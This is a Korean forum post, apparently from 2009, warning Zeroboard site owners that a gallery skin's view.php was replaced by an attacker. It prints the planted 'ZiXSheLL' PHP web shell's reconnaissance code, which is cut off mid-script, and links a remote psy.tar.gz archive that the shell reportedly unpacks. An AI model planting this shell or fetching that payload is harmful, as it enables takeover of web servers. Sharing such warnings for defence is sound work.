zero보드 bbs/skin/view.php 파일 해킹경고 > 명령어모음 cmd.kr

• 목록

<H3 class=title><A href="http://www.xpressengine.com/18233536" target=_blank>bbs/skin/view.php 파일 해킹경고</A></H3><A class=category href="http://www.xpressengine.com/zb4_tip" target=_blank></A><SPAN class=sum><SPAN class=read>조회 수 <SPAN class=num>3554</SPAN></SPAN> <SPAN class=vote>추천 수 <SPAN class=num>0</SPAN></SPAN> <SPAN class=date>2009.08.16 20:42:40</SPAN> </SPAN>
<DIV class=authorArea><A class="member_3348883 author" onclick="return false" href="#popup_menu_area" target=_blank><IMG style="VERTICAL-ALIGN: middle; MARGIN-RIGHT: 3px" title="포인트:3275point (2%), 레벨:6/30" alt=[레벨:6] src="http://www.xpressengine.com/modules/point/icons/default/6.gif">아가페</A> <SPAN class=ipAddress>*.35.85.154</SPAN> <A class=permaLink href="http://www.xpressengine.com/18233536" target=_blank>http://www.xpressengine.com/18233536</A> </DIV>
<DIV class=boardReadBody><!--BeforeDocument(18233536,3348883)-->
<DIV class="document_18233536_3348883 xe_content" jQuery1255307587640="11">
<P>제가 만들어주고 운영중이던 홈페이지에 해킹이 생겼습니다.</P>
<P>&nbsp;</P>
<P>깜보님의 갤러리 7200 스킨파일의 view.php 파일이 다른걸로 교체되었더군요...</P>
<P>&nbsp;</P>
<P>바뀐 파일의 내용은 아래와 같습니다...</P>
<P>&nbsp;</P>
<P>내용을 대충 보니... <A href="http://www.php.monacoyachtshow.org/zoneperso/images/psy.tar.gz" target=_blank>http://www.php.monacoyachtshow.org/zoneperso/images/psy.tar.gz</A> 파일을 특정위치에 풀어서 권한을 갖고</P>
<P>막강한 권한을 가져가는 것 같더군요...</P>
<P>&nbsp;</P>
<P>파일리스트보기 / 삭제하기 / 파일 생성하기 / 업로드 하기 등등.... </P>
<P>&nbsp;</P>
<P>위의 링크 파일을 열어보니... 중요한 파일은 Zend Optimize로 컨버팅 해놓아서 더이상 판별은 불가능했습니다.</P>
<P>&nbsp;</P>
<P>이 글을 보시는 분들은 혹시&nbsp;모르니... 백업 잘 하시구요~~ 해킹 당하지 않도록 각별히 유의하시기 바랍니다...</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P>===============================================</P>
<P>&nbsp;</P>
<P>&lt;title&gt;-x: ZiXSheLL :x-&lt;/title&gt;<BR>&lt;body text="lightblue" bgcolor="black"&gt;<BR>&lt;font face="Verdana" color="red" size="3"&gt;<BR>&lt;div align="left"&gt;<BR>&lt;p align="center"&gt;&lt;b&gt;ZiXSheLL&lt;/b&gt;<BR>&lt;font face="Verdana" color="yellow" size="2"&gt;<BR>&lt;p align="center"&gt;&lt;b&gt;SHiRoHiGE Pirates CreW&lt;/b&gt;<BR>&lt;/p&gt;<BR>&lt;hr&gt;<BR>&lt;div align="left"&gt;&lt;b&gt;&lt;?php<BR>closelog( );<BR>$user = get_current_user( );<BR>$login = posix_getuid( );<BR>$euid = posix_geteuid( );<BR>$ver = phpversion( );<BR>$up = `uptime`;<BR>$gid = posix_getgid( );<BR>if ($chdir == "") $chdir = getcwd( );<BR>if(!$whoami)$whoami=exec("whoami");<BR>?&gt;<BR>&lt;TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0"&gt;<BR>&lt;?php<BR>$uname = posix_uname( );<BR>while (list($info, $value) = each ($uname)) {<BR>?&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;&lt;span style="font-size: 9pt"&gt;&lt;?= $info ?&gt;<BR>&lt;span style="font-size: 9pt"&gt;:&lt;/b&gt; &lt;?= $value ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;?php<BR>}<BR>?&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;User Info:&lt;/b&gt; uid=&lt;?= $login ?&gt;(&lt;?= $whoami?&gt;) euid=&lt;?= $euid ?&gt;(&lt;?= $whoami?&gt;) gid=&lt;?= $gid ?&gt;(&lt;?= $whoami?&gt;)&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;Current Path:&lt;/b&gt; &lt;?= $chdir ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;Write Directory:&lt;/b&gt; &lt;? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?&gt;<BR>&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;&nbsp; <BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;Server Services:&lt;/b&gt; &lt;?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?&gt;<BR>&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;Server Address:&lt;/b&gt; &lt;?= "$SERVER_ADDR $SERVER_NAME"; ?&gt;<BR>&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;Script Current User:&lt;/b&gt; &lt;?= $user ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;UP Time:&lt;/b&gt; &lt;?= $up ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;PHP Version:&lt;/b&gt; &lt;?= $ver ?&gt;&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt;<BR>&lt;TR&gt;<BR>&lt;TD align="left"&gt;&lt;DIV STYLE="font-family: verdana; color: green ; font-size: 10px;"&gt;&lt;b&gt;<BR>&lt;span style="font-size: 9pt"&gt;Wget:&lt;/b&gt; &lt;? if(exec("wget --help")){ echo "Yes"; }else{ echo "No"; } ?&gt;<BR>&lt;/span&gt;&lt;/DIV&gt;&lt;/TD&gt;<BR>&lt;/TR&gt; <BR>&lt;/TABLE&gt;<BR>&lt;/b&gt;&lt;/font&gt;<BR>&lt;?php</P>
<P>set_magic_quotes_runtime(0);</P>
<P>$currentWD&nbsp; = str_replace("<A>\\\\